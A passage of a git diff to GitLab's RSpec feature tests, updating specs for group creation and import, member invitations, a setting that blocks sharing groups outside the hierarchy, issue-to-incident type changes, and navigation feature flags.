- context 'with combined_menu: feature flag on' do
+ context 'with combined_menu feature flag on', :js do
let(:needs_rewrite_for_combined_menu_flag_on) { true }
before do
@@ -63,8 +64,4 @@ RSpec.describe 'The group dashboard' do
it_behaves_like 'combined_menu: feature flag examples'
end
-
- def pending_on_combined_menu_flag
- pending 'https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56587' if needs_rewrite_for_combined_menu_flag_on
- end
end
diff --git a/spec/features/dashboard/group_spec.rb b/spec/features/dashboard/group_spec.rb
index bc6f449edc5..02cbdc7c777 100644
--- a/spec/features/dashboard/group_spec.rb
+++ b/spec/features/dashboard/group_spec.rb
@@ -16,6 +16,8 @@ RSpec.describe 'Dashboard Group' do
it 'creates new group', :js do
visit dashboard_groups_path
find('[data-testid="new-group-button"]').click
+ click_link 'Create group'
+
new_name = 'Samurai'
fill_in 'group_name', with: new_name
diff --git a/spec/features/dashboard/shortcuts_spec.rb b/spec/features/dashboard/shortcuts_spec.rb
index 5f60832dbc9..7439bfd334b 100644
--- a/spec/features/dashboard/shortcuts_spec.rb
+++ b/spec/features/dashboard/shortcuts_spec.rb
@@ -15,8 +15,6 @@ RSpec.describe 'Dashboard shortcuts', :js do
end
it 'navigate to tabs' do
- pending_on_combined_menu_flag
-
find('body').send_keys([:shift, 'I'])
check_page_title('Issues')
@@ -40,6 +38,10 @@ RSpec.describe 'Dashboard shortcuts', :js do
find('body').send_keys([:shift, 'A'])
check_page_title('Activity')
+
+ find('body').send_keys([:shift, 'L'])
+
+ check_page_title('Milestones')
end
end
@@ -49,8 +51,6 @@ RSpec.describe 'Dashboard shortcuts', :js do
end
it 'navigate to tabs' do
- pending_on_combined_menu_flag
-
find('body').send_keys([:shift, 'G'])
find('.nothing-here-block')
@@ -73,9 +73,7 @@ RSpec.describe 'Dashboard shortcuts', :js do
end
end
- context 'with combined_menu: feature flag on' do
- let(:needs_rewrite_for_combined_menu_flag_on) { true }
-
+ context 'with combined_menu feature flag on' do
before do
stub_feature_flags(combined_menu: true)
end
@@ -84,16 +82,10 @@ RSpec.describe 'Dashboard shortcuts', :js do
end
context 'with combined_menu feature flag off' do
- let(:needs_rewrite_for_combined_menu_flag_on) { false }
-
before do
stub_feature_flags(combined_menu: false)
end
it_behaves_like 'combined_menu: feature flag examples'
end
-
- def pending_on_combined_menu_flag
- pending 'https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56587' if needs_rewrite_for_combined_menu_flag_on
- end
end
diff --git a/spec/features/frequently_visited_projects_and_groups_spec.rb b/spec/features/frequently_visited_projects_and_groups_spec.rb
index 9110c7ad65a..5ea42ce39e3 100644
--- a/spec/features/frequently_visited_projects_and_groups_spec.rb
+++ b/spec/features/frequently_visited_projects_and_groups_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Frequently visited items', :js do
+ include Spec::Support::Helpers::Features::TopNavSpecHelpers
+
let_it_be(:user) { create(:user) }
shared_examples 'combined_menu: feature flag examples' do
@@ -14,9 +16,8 @@ RSpec.describe 'Frequently visited items', :js do
let_it_be(:project) { create(:project, :public) }
it 'increments localStorage counter when visiting the project' do
- pending_on_combined_menu_flag
-
visit project_path(project)
+ open_top_nav_projects
frequent_projects = nil
@@ -34,9 +35,8 @@ RSpec.describe 'Frequently visited items', :js do
let_it_be(:group) { create(:group, :public) }
it 'increments localStorage counter when visiting the group' do
- pending_on_combined_menu_flag
-
visit group_path(group)
+ open_top_nav_groups
frequent_groups = nil
@@ -51,7 +51,7 @@ RSpec.describe 'Frequently visited items', :js do
end
end
- context 'with combined_menu: feature flag on' do
+ context 'with combined_menu feature flag on' do
let(:needs_rewrite_for_combined_menu_flag_on) { true }
before do
@@ -70,8 +70,4 @@ RSpec.describe 'Frequently visited items', :js do
it_behaves_like 'combined_menu: feature flag examples'
end
-
- def pending_on_combined_menu_flag
- pending 'https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56587' if needs_rewrite_for_combined_menu_flag_on
- end
end
diff --git a/spec/features/groups/clusters/applications_spec.rb b/spec/features/groups/clusters/applications_spec.rb
deleted file mode 100644
index 324ef24efc4..00000000000
--- a/spec/features/groups/clusters/applications_spec.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require_relative '../../../../spec/features/clusters/installing_applications_shared_examples'
-
-RSpec.describe 'Group-level Cluster Applications', :js do
- include GoogleApi::CloudPlatformHelpers
-
- let(:group) { create(:group) }
- let(:user) { create(:user) }
-
- before do
- group.add_maintainer(user)
- sign_in(user)
- end
-
- describe 'Installing applications' do
- include_examples "installing applications on a cluster" do
- let(:cluster_path) { group_cluster_path(group, cluster) }
- let(:cluster_factory_args) { [:group, groups: [group]] }
- end
- end
-end
diff --git a/spec/features/groups/group_settings_spec.rb b/spec/features/groups/group_settings_spec.rb
index 00ad1006037..161a8a7a203 100644
--- a/spec/features/groups/group_settings_spec.rb
+++ b/spec/features/groups/group_settings_spec.rb
@@ -153,6 +153,26 @@ RSpec.describe 'Edit group settings' do
end
end
+ describe 'prevent sharing outside group hierarchy setting' do
+ it 'updates the setting' do
+ visit edit_group_path(group)
+
+ check 'group_prevent_sharing_groups_outside_hierarchy'
+
+ expect { save_permissions_group }.to change {
+ group.reload.namespace_settings.prevent_sharing_groups_outside_hierarchy
+ }.to(true)
+ end
+
+ it 'is not present for a subgroup' do
+ subgroup = create(:group, parent: group)
+ visit edit_group_path(subgroup)
+
+ expect(page).to have_text "Permissions"
+ expect(page).not_to have_selector('#group_prevent_sharing_groups_outside_hierarchy')
+ end
+ end
+
def update_path(new_group_path)
visit edit_group_path(group)
diff --git a/spec/features/groups/import_export/connect_instance_spec.rb b/spec/features/groups/import_export/connect_instance_spec.rb
index 73de49101ea..563c8f429f8 100644
--- a/spec/features/groups/import_export/connect_instance_spec.rb
+++ b/spec/features/groups/import_export/connect_instance_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'Import/Export - Connect to another instance', :js do
visit new_group_path
- find('#import-group-tab').click
+ click_link 'Import group'
end
context 'when the user provides valid credentials' do
@@ -24,7 +24,7 @@ RSpec.describe 'Import/Export - Connect to another instance', :js do
pat = 'demo-pat'
stub_path = 'stub-group'
total = 37
- stub_request(:get, "%{url}/api/v4/groups?page=1&per_page=20&top_level_only=true&min_access_level=40&search=" % { url: source_url }).to_return(
+ stub_request(:get, "%{url}/api/v4/groups?page=1&per_page=20&top_level_only=true&min_access_level=50&search=" % { url: source_url }).to_return(
body: [{
id: 2595438,
web_url: 'https://gitlab.com/groups/auto-breakfast',
diff --git a/spec/features/groups/import_export/import_file_spec.rb b/spec/features/groups/import_export/import_file_spec.rb
index 7018f3b1086..08295a3392a 100644
--- a/spec/features/groups/import_export/import_file_spec.rb
+++ b/spec/features/groups/import_export/import_file_spec.rb
@@ -28,9 +28,9 @@ RSpec.describe 'Import/Export - Group Import', :js do
group_name = 'Test Group Import'
visit new_group_path
+ click_link 'Import group'
- fill_in :group_name, with: group_name
- find('#import-group-tab').click
+ fill_in :import_group_name, with: group_name
expect(page).to have_content 'Import group from file'
attach_file(file) do
@@ -51,9 +51,9 @@ RSpec.describe 'Import/Export - Group Import', :js do
context 'when modifying the pre-filled path' do
it 'successfully imports the group' do
visit new_group_path
+ click_link 'Import group'
- fill_in :group_name, with: 'Test Group Import'
- find('#import-group-tab').click
+ fill_in :import_group_name, with: 'Test Group Import'
fill_in :import_group_path, with: 'custom-path'
attach_file(file) do
@@ -74,7 +74,7 @@ RSpec.describe 'Import/Export - Group Import', :js do
it 'suggests a unique path' do
visit new_group_path
- find('#import-group-tab').click
+ click_link 'Import group'
fill_in :import_group_path, with: 'test-group-import'
expect(page).to have_content 'Group path is already taken. Suggestions: test-group-import1'
@@ -87,9 +87,9 @@ RSpec.describe 'Import/Export - Group Import', :js do
it 'displays an error' do
visit new_group_path
+ click_link 'Import group'
- fill_in :group_name, with: 'Test Group Import'
- find('#import-group-tab').click
+ fill_in :import_group_name, with: 'Test Group Import'
attach_file(file) do
find('.js-filepicker-button').click
end
diff --git a/spec/features/groups/integrations/user_activates_mattermost_slash_command_spec.rb b/spec/features/groups/integrations/user_activates_mattermost_slash_command_spec.rb
new file mode 100644
index 00000000000..7703268af39
--- /dev/null
+++ b/spec/features/groups/integrations/user_activates_mattermost_slash_command_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'User activates the group-level Mattermost Slash Command integration', :js do
+ include_context 'group integration activation'
+
+ before do
+ stub_mattermost_setting(enabled: true)
+ visit_group_integration('Mattermost slash commands')
+ end
+
+ let(:edit_path) { edit_group_settings_integration_path(group, :mattermost_slash_commands) }
+
+ include_examples 'user activates the Mattermost Slash Command integration'
+end
diff --git a/spec/features/groups/members/manage_groups_spec.rb b/spec/features/groups/members/manage_groups_spec.rb
index 40cd54c1e33..2dfcd941b4f 100644
--- a/spec/features/groups/members/manage_groups_spec.rb
+++ b/spec/features/groups/members/manage_groups_spec.rb
@@ -143,6 +143,82 @@ RSpec.describe 'Groups > Members > Manage groups', :js do
end
end
+ describe 'group search results' do
+ let_it_be(:group, refind: true) { create(:group) }
+ let_it_be(:group_within_hierarchy) { create(:group, parent: group) }
+ let_it_be(:group_outside_hierarchy) { create(:group) }
+
+ before_all do
+ group.add_owner(user)
+ group_within_hierarchy.add_owner(user)
+ group_outside_hierarchy.add_owner(user)
+ end
+
+ context 'when sharing with groups outside the hierarchy is enabled' do
+ context 'when the invite members group modal is disabled' do
+ before do
+ stub_feature_flags(invite_members_group_modal: false)
+ end
+
+ it 'shows groups within and outside the hierarchy in search results' do
+ visit group_group_members_path(group)
+
+ click_on 'Invite group'
+ click_on 'Search for a group'
+
+ expect(page).to have_text group_within_hierarchy.name
+ expect(page).to have_text group_outside_hierarchy.name
+ end
+ end
+
+ context 'when the invite members group modal is enabled' do
+ it 'shows groups within and outside the hierarchy in search results' do
+ visit group_group_members_path(group)
+
+ click_on 'Invite a group'
+ click_on 'Select a group'
+
+ expect(page).to have_text group_within_hierarchy.name
+ expect(page).to have_text group_outside_hierarchy.name
+ end
+ end
+ end
+
+ context 'when sharing with groups outside the hierarchy is disabled' do
+ before do
+ group.namespace_settings.update!(prevent_sharing_groups_outside_hierarchy: true)
+ end
+
+ context 'when the invite members group modal is disabled' do
+ before do
+ stub_feature_flags(invite_members_group_modal: false)
+ end
+
+ it 'shows only groups within the hierarchy in search results' do
+ visit group_group_members_path(group)
+
+ click_on 'Invite group'
+ click_on 'Search for a group'
+
+ expect(page).to have_text group_within_hierarchy.name
+ expect(page).not_to have_text group_outside_hierarchy.name
+ end
+ end
+
+ context 'when the invite members group modal is enabled' do
+ it 'shows only groups within the hierarchy in search results' do
+ visit group_group_members_path(group)
+
+ click_on 'Invite a group'
+ click_on 'Select a group'
+
+ expect(page).to have_text group_within_hierarchy.name
+ expect(page).not_to have_text group_outside_hierarchy.name
+ end
+ end
+ end
+ end
+
def add_group(id, role)
page.click_link 'Invite group'
page.within ".invite-group-form" do
diff --git a/spec/features/groups/members/manage_members_spec.rb b/spec/features/groups/members/manage_members_spec.rb
index c5e6479ec51..ee18298e894 100644
--- a/spec/features/groups/members/manage_members_spec.rb
+++ b/spec/features/groups/members/manage_members_spec.rb
@@ -3,20 +3,19 @@
require 'spec_helper'
RSpec.describe 'Groups > Members > Manage members' do
- include Select2Helper
include Spec::Support::Helpers::Features::MembersHelpers
include Spec::Support::Helpers::Features::InviteMembersModalHelper
- let(:user1) { create(:user, name: 'John Doe') }
- let(:user2) { create(:user, name: 'Mary Jane') }
- let(:group) { create(:group) }
+ let_it_be(:user1) { create(:user, name: 'John Doe') }
+ let_it_be(:user2) { create(:user, name: 'Mary Jane') }
+ let_it_be(:group) { create(:group) }
before do
sign_in(user1)
end
shared_examples 'includes the correct Invite link' do |should_include, should_not_include|
- it 'includes either the form or the modal trigger' do
+ it 'includes either the form or the modal trigger', :aggregate_failures do
group.add_owner(user1)
visit group_group_members_path(group)
@@ -27,12 +26,12 @@ RSpec.describe 'Groups > Members > Manage members' do
end
shared_examples 'does not include either invite modal or either invite form' do
- it 'does not include either of the invite members or invite group modal buttons' do
+ it 'does not include either of the invite members or invite group modal buttons', :aggregate_failures do
expect(page).not_to have_selector '.js-invite-members-modal'
expect(page).not_to have_selector '.js-invite-group-modal'
end
- it 'does not include either of the invite users or invite group forms' do
+ it 'does not include either of the invite users or invite group forms', :aggregate_failures do
expect(page).not_to have_selector '.invite-users-form'
expect(page).not_to have_selector '.invite-group-form'
end
@@ -66,7 +65,7 @@ RSpec.describe 'Groups > Members > Manage members' do
end
end
- it 'add user to group', :js do
+ it 'add user to group', :js, :snowplow, :aggregate_failures do
group.add_owner(user1)
visit group_group_members_path(group)
@@ -77,6 +76,14 @@ RSpec.describe 'Groups > Members > Manage members' do
expect(page).to have_content(user2.name)
expect(page).to have_button('Reporter')
end
+
+ expect_snowplow_event(
+ category: 'Members::CreateService',
+ action: 'create_member',
+ label: 'group-members-page',
+ property: 'existing_user',
+ user: user1
+ )
end
it 'do not disclose email addresses', :js do
@@ -143,11 +150,13 @@ RSpec.describe 'Groups > Members > Manage members' do
wait_for_requests
- expect(page).not_to have_content(user2.name)
- expect(group.users).not_to include(user2)
+ aggregate_failures do
+ expect(page).not_to have_content(user2.name)
+ expect(group.users).not_to include(user2)
+ end
end
- it 'add yourself to group when already an owner', :js do
+ it 'add yourself to group when already an owner', :js, :aggregate_failures do
group.add_owner(user1)
visit group_group_members_path(group)
@@ -160,7 +169,7 @@ RSpec.describe 'Groups > Members > Manage members' do
end
end
- it 'invite user to group', :js do
+ it 'invite user to group', :js, :snowplow do
group.add_owner(user1)
visit group_group_members_path(group)
@@ -170,14 +179,24 @@ RSpec.describe 'Groups > Members > Manage members' do
expect(page).to have_link 'Invited'
click_link 'Invited'
- page.within(members_table) do
- expect(page).to have_content('test@example.com')
- expect(page).to have_content('Invited')
- expect(page).to have_button('Reporter')
+ aggregate_failures do
+ page.within(members_table) do
+ expect(page).to have_content('test@example.com')
+ expect(page).to have_content('Invited')
+ expect(page).to have_button('Reporter')
+ end
+
+ expect_snowplow_event(
+ category: 'Members::InviteService',
+ action: 'create_member',
+ label: 'group-members-page',
+ property: 'net_new_user',
+ user: user1
+ )
end
end
- context 'as a guest', :js do
+ context 'when user is a guest' do
before do
group.add_guest(user1)
group.add_developer(user2)
@@ -187,7 +206,7 @@ RSpec.describe 'Groups > Members > Manage members' do
it_behaves_like 'does not include either invite modal or either invite form'
- it 'does not include a button on the members page list to manage or remove the existing member', :js do
+ it 'does not include a button on the members page list to manage or remove the existing member', :js, :aggregate_failures do
page.within(second_row) do
# Can not modify user2 role
expect(page).not_to have_button 'Developer'
@@ -198,7 +217,7 @@ RSpec.describe 'Groups > Members > Manage members' do
end
end
- context 'As a guest when the :invite_members_group_modal feature flag is disabled', :js do
+ context 'when user is a guest and the :invite_members_group_modal feature flag is disabled' do
before do
stub_feature_flags(invite_members_group_modal: false)
group.add_guest(user1)
@@ -209,7 +228,7 @@ RSpec.describe 'Groups > Members > Manage members' do
it_behaves_like 'does not include either invite modal or either invite form'
- it 'does not include a button on the members page list to manage or remove the existing member', :js do
+ it 'does not include a button on the members page list to manage or remove the existing member', :js, :aggregate_failures do
page.within(second_row) do
# Can not modify user2 role
expect(page).not_to have_button 'Developer'
diff --git a/spec/features/groups/members/tabs_spec.rb b/spec/features/groups/members/tabs_spec.rb
index 2f95e9fa6d3..2e9f332c0d6 100644
--- a/spec/features/groups/members/tabs_spec.rb
+++ b/spec/features/groups/members/tabs_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Groups > Members > Tabs' do
+RSpec.describe 'Groups > Members > Tabs', :js do
using RSpec::Parameterized::TableSyntax
shared_examples 'active "Members" tab' do
@@ -56,7 +56,7 @@ RSpec.describe 'Groups > Members > Tabs' do
it_behaves_like 'active "Members" tab'
end
- context 'when searching "Invited"', :js do
+ context 'when searching "Invited"' do
before do
visit group_group_members_path(group)
@@ -86,7 +86,7 @@ RSpec.describe 'Groups > Members > Tabs' do
end
end
- context 'when using "Invited" pagination', :js do
+ context 'when using "Invited" pagination' do
before do
visit group_group_members_path(group)
diff --git a/spec/features/groups/milestones/gfm_autocomplete_spec.rb b/spec/features/groups/milestones/gfm_autocomplete_spec.rb
index 85a14123294..1fec6091f1e 100644
--- a/spec/features/groups/milestones/gfm_autocomplete_spec.rb
+++ b/spec/features/groups/milestones/gfm_autocomplete_spec.rb
@@ -16,6 +16,7 @@ RSpec.describe 'GFM autocomplete', :js do
fill_in 'Description', with: User.reference_prefix
wait_for_requests
expect(find_autocomplete_menu).to be_visible
+ expect_autocomplete_entry(user.name)
expect_autocomplete_entry(group.name)
fill_in 'Description', with: Label.reference_prefix
diff --git a/spec/features/groups/navbar_spec.rb b/spec/features/groups/navbar_spec.rb
index b46d4dae87a..70a19445c89 100644
--- a/spec/features/groups/navbar_spec.rb
+++ b/spec/features/groups/navbar_spec.rb
@@ -13,6 +13,7 @@ RSpec.describe 'Group navbar' do
let(:structure) do
[
+ group_context_nav_item,
group_information_nav_item,
{
nav_item: _('Issues'),
@@ -37,6 +38,13 @@ RSpec.describe 'Group navbar' do
nil
end
+ let(:group_context_nav_item) do
+ {
+ nav_item: "#{group.name[0, 1].upcase} #{group.name}",
+ nav_sub_items: []
+ }
+ end
+
before do
insert_package_nav(_('Kubernetes'))
@@ -79,6 +87,10 @@ RSpec.describe 'Group navbar' do
end
context 'when feature flag :sidebar_refactor is disabled' do
+ let(:group_context_nav_item) do
+ nil
+ end
+
let(:group_information_nav_item) do
{
nav_item: _('Group overview'),
diff --git a/spec/features/groups/settings/user_searches_in_settings_spec.rb b/spec/features/groups/settings/user_searches_in_settings_spec.rb
index 6d7a3871bb1..a01514714dd 100644
--- a/spec/features/groups/settings/user_searches_in_settings_spec.rb
+++ b/spec/features/groups/settings/user_searches_in_settings_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe 'User searches group settings', :js do
visit group_settings_integrations_path(group)
end
- it_behaves_like 'can highlight results', 'set default configuration'
+ it_behaves_like 'can highlight results', 'Project integration management'
end
context 'in Repository page' do
diff --git a/spec/features/groups_spec.rb b/spec/features/groups_spec.rb
index bcccadf7710..5f8079f0436 100644
--- a/spec/features/groups_spec.rb
+++ b/spec/features/groups_spec.rb
@@ -15,9 +15,10 @@ RSpec.describe 'Group' do
end
end
- describe 'create a group' do
+ describe 'create a group', :js do
before do
visit new_group_path
+ click_link 'Create group'
end
describe 'as a non-admin' do
@@ -50,13 +51,14 @@ RSpec.describe 'Group' do
fill_in 'Group URL', with: 'space group'
click_button 'Create group'
- expect(current_path).to eq(groups_path)
- expect(page).to have_namespace_error_message
+ expect(current_path).to eq(new_group_path)
+ expect(page).to have_text('Please choose a group URL with no special characters.')
end
end
describe 'with .atom at end of group path' do
it 'renders new group form with validation errors' do
+ fill_in 'Group name', with: 'test-group'
fill_in 'Group URL', with: 'atom_group.atom'
click_button 'Create group'
@@ -67,6 +69,7 @@ RSpec.describe 'Group' do
describe 'with .git at end of group path' do
it 'renders new group form with validation errors' do
+ fill_in 'Group name', with: 'test-group'
fill_in 'Group URL', with: 'git_group.git'
click_button 'Create group'
@@ -109,6 +112,7 @@ RSpec.describe 'Group' do
stub_mattermost_setting(enabled: mattermost_enabled)
visit new_group_path
+ click_link 'Create group'
end
context 'Mattermost enabled' do
@@ -119,7 +123,7 @@ RSpec.describe 'Group' do
end
it 'unchecks the checkbox by default' do
- expect(find('#group_create_chat_team')['checked']).to eq(false)
+ expect(find('#group_create_chat_team')).not_to be_checked
end
it 'updates the team URL on graph path update', :js do
@@ -147,6 +151,7 @@ RSpec.describe 'Group' do
stub_application_setting(recaptcha_enabled: true)
allow(Gitlab::Recaptcha).to receive(:load_configurations!)
visit new_group_path
+ click_link 'Create group'
end
it 'renders recaptcha' do
@@ -159,6 +164,7 @@ RSpec.describe 'Group' do
stub_feature_flags(recaptcha_on_top_level_group_creation: false)
stub_application_setting(recaptcha_enabled: true)
visit new_group_path
+ click_link 'Create group'
end
it 'does not render recaptcha' do
@@ -167,30 +173,30 @@ RSpec.describe 'Group' do
end
end
- describe 'create a nested group' do
+ describe 'create a nested group', :js do
let_it_be(:group) { create(:group, path: 'foo') }
context 'as admin' do
let(:user) { create(:admin) }
before do
- visit new_group_path(group, parent_id: group.id)
+ visit new_group_path(parent_id: group.id)
end
context 'when admin mode is enabled', :enable_admin_mode do
it 'creates a nested group' do
+ click_link 'Create group'
fill_in 'Group name', with: 'bar'
- fill_in 'Group URL', with: 'bar'
click_button 'Create group'
expect(current_path).to eq(group_path('foo/bar'))
- expect(page).to have_content("Group 'bar' was successfully created.")
+ expect(page).to have_selector 'h1', text: 'bar'
end
end
context 'when admin mode is disabled' do
it 'is not allowed' do
- expect(page).to have_gitlab_http_status(:not_found)
+ expect(page).not_to have_button('Create group')
end
end
end
@@ -203,14 +209,14 @@ RSpec.describe 'Group' do
sign_out(:user)
sign_in(user)
- visit new_group_path(group, parent_id: group.id)
+ visit new_group_path(parent_id: group.id)
+ click_link 'Create group'
fill_in 'Group name', with: 'bar'
- fill_in 'Group URL', with: 'bar'
click_button 'Create group'
expect(current_path).to eq(group_path('foo/bar'))
- expect(page).to have_content("Group 'bar' was successfully created.")
+ expect(page).to have_selector 'h1', text: 'bar'
end
end
@@ -221,7 +227,7 @@ RSpec.describe 'Group' do
end
context 'when creating subgroup' do
- let(:path) { new_group_path(group, parent_id: group.id) }
+ let(:path) { new_group_path(parent_id: group.id) }
it 'does not render recaptcha' do
visit path
@@ -237,6 +243,7 @@ RSpec.describe 'Group' do
before do
group.add_owner(user)
visit new_group_path(parent_id: group.id)
+ click_link 'Create group'
end
it 'shows a message if group url is available' do
@@ -255,14 +262,15 @@ RSpec.describe 'Group' do
end
end
- it 'checks permissions to avoid exposing groups by parent_id' do
+ it 'checks permissions to avoid exposing groups by parent_id', :js do
group = create(:group, :private, path: 'secret-group')
sign_out(:user)
sign_in(create(:user))
visit new_group_path(parent_id: group.id)
- expect(page).not_to have_content('secret-group')
+ expect(page).to have_title('Not Found')
+ expect(page).to have_content('Page Not Found')
end
describe 'group edit', :js do
diff --git a/spec/features/incidents/incident_details_spec.rb b/spec/features/incidents/incident_details_spec.rb
index 96f8cf0062c..b704a0515c8 100644
--- a/spec/features/incidents/incident_details_spec.rb
+++ b/spec/features/incidents/incident_details_spec.rb
@@ -49,4 +49,42 @@ RSpec.describe 'Incident details', :js do
end
end
end
+
+ context 'when an incident `issue_type` is edited by a signed in user' do
+ it 'routes the user to the incident details page when the `issue_type` is set to incident' do
+ wait_for_requests
+ project_path = "/#{project.full_path}"
+ click_button 'Edit title and description'
+ wait_for_requests
+
+ page.within('[data-testid="issuable-form"]') do
+ click_button 'Incident'
+ click_button 'Issue'
+ click_button 'Save changes'
+
+ wait_for_requests
+
+ expect(page).to have_current_path("#{project_path}/-/issues/#{incident.iid}")
+ end
+ end
+ end
+
+ context 'when incident details are edited by a signed in user' do
+ it 'routes the user to the incident details page when the `issue_type` is set to incident' do
+ wait_for_requests
+ project_path = "/#{project.full_path}"
+ click_button 'Edit title and description'
+ wait_for_requests
+
+ page.within('[data-testid="issuable-form"]') do
+ click_button 'Incident'
+ click_button 'Issue'
+ click_button 'Save changes'
+
+ wait_for_requests
+
+ expect(page).to have_current_path("#{project_path}/-/issues/#{incident.iid}")
+ end
+ end
+ end
end
diff --git a/spec/features/issues/csv_spec.rb b/spec/features/issues/csv_spec.rb
index d41a41c4383..51e0d54ca5e 100644
--- a/spec/features/issues/csv_spec.rb
+++ b/spec/features/issues/csv_spec.rb
@@ -16,9 +16,7 @@ RSpec.describe 'Issues csv', :js do
def request_csv(params = {})
visit project_issues_path(project, params)
- page.within('.nav-controls') do
- find('[data-testid="export-csv-button"]').click
- end
+ click_button 'Export as CSV'
click_on 'Export issues'
end
diff --git a/spec/features/issues/issue_detail_spec.rb b/spec/features/issues/issue_detail_spec.rb
index 1c8da227412..a942a1a44f6 100644
--- a/spec/features/issues/issue_detail_spec.rb
+++ b/spec/features/issues/issue_detail_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'Issue Detail', :js do
let(:user) { create(:user) }
let(:project) { create(:project, :public) }
let(:issue) { create(:issue, project: project, author: user) }
+ let(:incident) { create(:incident, project: project, author: user) }
context 'when user displays the issue' do
before do
@@ -21,10 +22,8 @@ RSpec.describe 'Issue Detail', :js do
end
context 'when user displays the issue as an incident' do
- let(:issue) { create(:incident, project: project, author: user) }
-
before do
- visit project_issue_path(project, issue)
+ visit project_issue_path(project, incident)
wait_for_requests
end
@@ -58,9 +57,9 @@ RSpec.describe 'Issue Detail', :js do
visit project_issue_path(project, issue)
wait_for_requests
- page.find('.js-issuable-edit').click
+ click_button 'Edit title and description'
fill_in 'issuable-title', with: 'issue title'
- click_button 'Save'
+ click_button 'Save changes'
wait_for_requests
Users::DestroyService.new(user).execute(user)
@@ -74,4 +73,58 @@ RSpec.describe 'Issue Detail', :js do
end
end
end
+
+ describe 'user updates `issue_type` via the issue type dropdown' do
+ context 'when an issue `issue_type` is edited by a signed in user' do
+ before do
+ sign_in(user)
+
+ visit project_issue_path(project, issue)
+ wait_for_requests
+ end
+
+ it 'routes the user to the incident details page when the `issue_type` is set to incident' do
+ open_issue_edit_form
+
+ page.within('[data-testid="issuable-form"]') do
+ update_type_select('Issue', 'Incident')
+
+ expect(page).to have_current_path(project_issues_incident_path(project, issue))
+ end
+ end
+ end
+
+ context 'when an incident `issue_type` is edited by a signed in user' do
+ before do
+ sign_in(user)
+
+ visit project_issue_path(project, incident)
+ wait_for_requests
+ end
+
+ it 'routes the user to the issue details page when the `issue_type` is set to issue' do
+ open_issue_edit_form
+
+ page.within('[data-testid="issuable-form"]') do
+ update_type_select('Incident', 'Issue')
+
+ expect(page).to have_current_path(project_issue_path(project, incident))
+ end
+ end
+ end
+ end
+
+ def update_type_select(from, to)
+ click_button from
+ click_button to
+ click_button 'Save changes'
+
+ wait_for_requests
+ end
+
+ def open_issue_edit_form
+ wait_for_requests
+ click_button 'Edit title and description'
+ wait_for_requests
+ end
end
diff --git a/spec/features/issues/issue_sidebar_spec.rb b/spec/features/issues/issue_sidebar_spec.rb
index d147476f1ab..d828b1c1f0c 100644
--- a/spec/features/issues/issue_sidebar_spec.rb
+++ b/spec/features/issues/issue_sidebar_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe 'Issue Sidebar' do
stub_feature_flags(issue_assignees_widget: false)
end
- include_examples 'issuable invite members experiments' do
+ include_examples 'issuable invite members' do
let(:issuable_path) { project_issue_path(project, issue2) }
end
@@ -266,7 +266,7 @@ RSpec.describe 'Issue Sidebar' do
let_it_be(:milestone3) { create(:milestone, project: project, title: 'Milestone-3', due_date: 10.days.from_now) }
before do
- page.within('.block.milestone > .title') do
+ page.within('[data-testid="milestone_title"]') do
click_on 'Edit'
end
end
diff --git a/spec/features/issues/user_creates_issue_spec.rb b/spec/features/issues/user_creates_issue_spec.rb
index e2e204f03db..4a77e850d51 100644
--- a/spec/features/issues/user_creates_issue_spec.rb
+++ b/spec/features/issues/user_creates_issue_spec.rb
@@ -30,7 +30,7 @@ RSpec.describe "User creates issue" do
end
end
- context "when signed in as guest" do
+ context "when signed in as guest", :js do
before do
project.add_guest(user)
sign_in(user)
@@ -38,41 +38,19 @@ RSpec.describe "User creates issue" do
visit(new_project_issue_path(project))
end
- it "creates issue", :js do
- page.within(".issue-form") do
- expect(page).to have_no_content("Assign to")
- .and have_no_content("Labels")
- .and have_no_content("Milestone")
-
- expect(page.find('#issue_title')['placeholder']).to eq 'Title'
- expect(page.find('#issue_description')['placeholder']).to eq 'Write a description or drag your files here…'
+ context 'available metadata' do
+ it 'allows guest to set issue metadata' do
+ page.within(".issue-form") do
+ expect(page).to have_content("Title")
+ .and have_content("Description")
+ .and have_content("Type")
+ .and have_content("Assignee")
+ .and have_content("Milestone")
+ .and have_content("Labels")
+ .and have_content("Due date")
+ .and have_content("This issue is confidential and should only be visible to team members with at least Reporter access.")
+ end
end
-
- issue_title = "500 error on profile"
-
- fill_in("Title", with: issue_title)
- first('.js-md').click
- first('.rspec-issuable-form-description').native.send_keys('Description')
-
- click_button("Create issue")
-
- expect(page).to have_content(issue_title)
- .and have_content(user.name)
- .and have_content(project.name)
- expect(page).to have_selector('strong', text: 'Description')
- end
-
- it 'does not render the issue type dropdown' do
- expect(page).not_to have_selector('.s-issuable-type-filter-dropdown-wrap')
- end
- end
-
- context "when signed in as developer", :js do
- before do
- project.add_developer(user)
- sign_in(user)
-
- visit(new_project_issue_path(project))
end
context "when previewing" do
diff --git a/spec/features/issues/user_edits_issue_spec.rb b/spec/features/issues/user_edits_issue_spec.rb
index cb4a5a32762..c59cc99467c 100644
--- a/spec/features/issues/user_edits_issue_spec.rb
+++ b/spec/features/issues/user_edits_issue_spec.rb
@@ -187,7 +187,8 @@ RSpec.describe "Issues > User edits issue", :js do
click_link 'Edit'
click_link 'Unassigned'
- first('.title').click
+
+ close_dropdown_menu_if_visible
expect(page).to have_content 'None - assign yourself'
end
@@ -227,7 +228,7 @@ RSpec.describe "Issues > User edits issue", :js do
close_dropdown_menu_if_visible
- page.within '.value .assign-yourself' do
+ page.within '[data-testid="no-value"]' do
expect(page).to have_content "None"
end
end
diff --git a/spec/features/issues/user_interacts_with_awards_spec.rb b/spec/features/issues/user_interacts_with_awards_spec.rb
index bbb7e8a028d..2921eea7641 100644
--- a/spec/features/issues/user_interacts_with_awards_spec.rb
+++ b/spec/features/issues/user_interacts_with_awards_spec.rb
@@ -62,11 +62,11 @@ RSpec.describe 'User interacts with awards' do
page.within('.awards') do
